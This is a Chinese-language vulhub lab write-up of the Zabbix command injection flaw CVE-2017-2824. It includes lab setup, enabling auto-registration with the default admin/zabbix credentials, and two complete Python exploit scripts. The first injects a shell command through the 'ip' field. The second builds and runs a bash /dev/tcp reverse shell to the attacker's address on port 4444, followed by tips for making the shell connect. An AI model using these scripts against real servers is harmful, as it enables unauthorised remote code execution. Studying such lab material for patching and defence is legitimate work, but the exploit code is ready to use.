CVE-2017-2824 zabbix 命令注入漏洞（未授权访问/绕过登录）

环境：

靶机：

系统：centos 7-vulhub

Ip： 192.168.21.29

Kali机：

    系统:Debian 10

    Ip：192.168.21.33

漏洞介绍：

Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统，基于 Server-Client 架构。其Server端 trapper command 功能存在一处代码执行漏洞，特定的数据包可造成命令注入，进而远程执行代码。攻击者可以从一个Zabbix proxy发起请求，从而触发漏洞。

影响版本: Zabbix 2.4.7 - 2.4.8r1

端口方面：使用8080端口

启动vulhub环境:

       命令执行后，执行docker-compose ps查看容器是否全部成功启动，如果没有，可以尝试重新执行docker-compose up -d。

主页：

   

过程：

1. 端口扫描-open

Nmap -p 8080 192.168.21.29

1. 先以管理员的身份开启自动注册功能。使用账号密码admin/zabbix登录后台，进入Configuration->Actions，将Event source调整为Auto registration，然后点击Create action，创建一个Action，名字随意：

第三个标签页，创建一个Operation，type是“Add Host”：

Add即可

保存。这样就开启了自动注册功能，攻击者可以将自己的服务器注册为Agent。

1. 使用poc测试
2. poc代码

   import sys
   import socket
   import json
   import sys
   
   
   def send(ip, data):
       conn = socket.create_connection((ip, 10051), 10)
       conn.send(json.dumps(data).encode())
       data = conn.recv(2048)
       conn.close()
       return data
   
   
   target = sys.argv[1]
   print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/cve-2017-2824"}))
   for i in range(10000, 10500):
       data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
       if data and b'failed' not in data:
           print('hostid: %d' % i)
           print(data)
   

3. Python CVE-2017-2824.py 目标ip
   
4. 成功
   

1. 反弹shell
2. poc

   import sys
   import socket
   import json
   from time import sleep
   
   def send(ip, data):
       conn = socket.create_connection((ip, 10051), 10)
       conn.send(json.dumps(data).encode())
       data = conn.recv(2048)
       conn.close()
       return data
   
    # target = "192.168.21.33"
   target = sys.argv[1]
   num = 1
   
   exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
           ';echo -n "192.168." >> /tmp/1.sh', ';echo -n "21.33/" >> /tmp/1.sh', ';echo -n "4444 0>&1" >> /tmp/1.sh',
           ';/bin/bash /tmp/1.sh']
   for exp in exps:
       host = "vulhub" + str(num)
       print(host)
       print(send(target, {"request": "active checks", "host": host, "ip": exp}))
       sleep(1)
       num += 1
   
       for i in range(10000, 10500):
           data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
           if data and b'failed' not in data:
               print('hostid: %d' % i)
               print(data)

   

红框改成监听ip即可

---->可见-权限算太高

Payload:Python3 Reshell.py 目标ip

多试几次，中断或者超时都很正常

防御： zabbix升级到最新版本 or 打上对应补丁

总结一下： 其中那个多试几次就好，还有，超时时间改小一点，不要极端，不然很难反弹shell

超时改成10刚好